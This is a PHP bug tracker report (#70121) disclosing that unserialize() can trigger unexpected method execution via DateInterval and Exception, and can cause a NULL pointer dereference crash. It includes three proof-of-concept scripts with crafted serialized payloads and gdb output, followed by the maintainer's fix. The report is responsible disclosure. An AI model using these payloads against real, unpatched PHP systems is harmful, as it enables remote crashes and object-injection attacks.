php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70121 unserialize() could lead to unexpected methods execution / NULL pointer deref
Submitted: 2015-07-23 21:40 UTC Modified: 2015-08-04 22:21 UTC
From: andrea dot palazzo at truel dot it Assigned:
Status: Closed Package: *General Issues
PHP Version: Irrelevant OS: Ubuntu x86_64
Private report: No CVE-ID:
 [2015-07-23 21:40 UTC] andrea dot palazzo at truel dot it
Description:
------------
The report below is about 3 different issues, first two have been tested on latest versions on each branch, #3 seems not to be affecting PHP7. 
First one is probably more a design issue than a flaw, by the way I'm quite positive that could be avoided or at least documented.


OVERVIEW

Due to an implicit string conversion in DateInterval's __wakeup() and an insufficient type check in Exception's __toString(), unserialize() calls could result in unexpected method executions without any manipulation needed on the unserialized data. This behavior significantly increase the attack surface in Object injection contexts (vulnerabilities like CVE-2015-4147, for example, could in fact be triggered by standard unserialize() calls this way).
Lastly, the Exception issue also leads to a NULL pointer dereference, making possible to remotely crash PHP.

DETAILS

In php_date.c, php_date_interval_initialize_from_hash, "days" and "special_amount" fields are retrieved through PHP_DATE_INTERVAL_READ_PROPERTY_I64() which perform a convert_to_string() that, in case of Object, call its __toString() method.

#PoC1

In zend_exceptions.c, __toString, "previous" is supposed to hold a reference to the previous Exception object in order to construct the stack trace.
Problem is that no checks are actually performed on it being an instance of the Exception class, thus any Object could be supplied instead.
The subsequent attempt to call "getTraceAsString" on it, if not declared in the involved Class, would then result in __call (and also __get) being executed.

#PoC2

If no __call is specified by the object supplied as previous, zend_call_function would exit on failure with "fci->retval_ptr_ptr" (referenced by "trace") still pointing to NULL, so that the following 

if (Z_TYPE_P(trace) != IS_STRING) {

would crash PHP trying to access 0x0+0x14.

#PoC3










Test script:
---------------
#PoC1

<?php

/*
$ php poc1.php
unexpected
*/

class Pwn {

	function __toString() {
		die("surprise\n");
	}

}

unserialize('O:12:"DateInterval":1:{s:4:"days";O:3:"Pwn":0:{}}');

?>


<?php

/*$ 
php poc2.php
surprise 1
surprise 1
surprise 1
surprise 2
*/

class Pwn {

	function __call($x,$y) {
		die("surprise 2\n");
	}

	function __get($x) {
		echo "surprise 1\n";
	}

}

unserialize('O:12:"DateInterval":1:{s:4:"days";O:9:"Exception":7:{s:10:"'."\0".'*'."\0".'message";s:1:"x";s:17:"'."\0".'Exception'."\0".'string";s:1:"A";s:7:"'."\0".'*'."\0".'code";i:0;s:7:"'."\0".'*'."\0".'file";s:1:"a";s:7:"'."\0".'*'."\0".'line";i:1337;s:16:"'."\0".'Exception'."\0".'trace";a:0:{}s:19:"'."\0".'Exception'."\0".'previous";O:3:"Pwn":0:{}}}');

?>

<?php

/*
gdb$ r poc3.php
Starting program: /usr/bin/php5 d.php

PHP Notice:  Undefined property: stdClass::$message in poc3.php on line 1
PHP Notice:  Undefined property: stdClass::$file in poc3.php on line 1
PHP Notice:  Undefined property: stdClass::$line in poc3.php on line 1

Program received signal SIGSEGV, Segmentation fault.

0x00000000006f52c8 in zim_exception___toString (ht=<optimized out>, return_value=0x7ffff7fc34d8, return_value_ptr=<optimized out>, this_ptr=0x7ffff7fc2f28, return_value_used=<optimized out>) at /build/php5-LRe0pE/php5-5.6.11+dfsg/Zend/zend_exceptions.c:673
673			if (Z_TYPE_P(trace) != IS_STRING) {
gdb$ x/i $pc
=> 0x6f52c8 <zim_exception___toString+568>:	cmp    BYTE PTR [rax+0x14],0x6
gdb$ p $rax
$1 = 0x0

*/

unserialize('O:12:"DateInterval":1:{s:4:"days";O:9:"Exception":7:{s:10:"'."\0".'*'."\0".'message";s:1:"x";s:17:"'."\0".'Exception'."\0".'string";s:1:"A";s:7:"'."\0".'*'."\0".'code";i:0;s:7:"'."\0".'*'."\0".'file";s:1:"a";s:7:"'."\0".'*'."\0".'line";i:1337;s:16:"'."\0".'Exception'."\0".'trace";a:0:{}s:19:"'."\0".'Exception'."\0".'previous";O:8:"stdClass":0:{}}}');

?>


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-27 00:11 UTC] stas@php.net
Please see patch in: https://gist.github.com/smalyshev/6a36eb265b977645d5d7
 [2015-08-03 09:45 UTC] andrea dot palazzo at truel dot it
Seems ok to me, it solves both the null-pointer dereference and the previous exception thing. Are you planning to refactor DateTime also or is that one an expected behavior?

Regards,
Andrea
 [2015-08-04 22:22 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e488690d957fce0dbdabe619adbe314ada498215
Log: Fix bug #70121 (unserialize() could lead to unexpected methods execution / NULL pointer deref)
 [2015-08-04 22:22 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-08-04 22:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e488690d957fce0dbdabe619adbe314ada498215
Log: Fix bug #70121 (unserialize() could lead to unexpected methods execution / NULL pointer deref)
 [2015-08-04 22:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e488690d957fce0dbdabe619adbe314ada498215
Log: Fix bug #70121 (unserialize() could lead to unexpected methods execution / NULL pointer deref)
 [2015-08-05 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e488690d957fce0dbdabe619adbe314ada498215
Log: Fix bug #70121 (unserialize() could lead to unexpected methods execution / NULL pointer deref)
 [2015-08-05 10:12 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e488690d957fce0dbdabe619adbe314ada498215
Log: Fix bug #70121 (unserialize() could lead to unexpected methods execution / NULL pointer deref)
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Apr 30 14:01:37 2017 UTC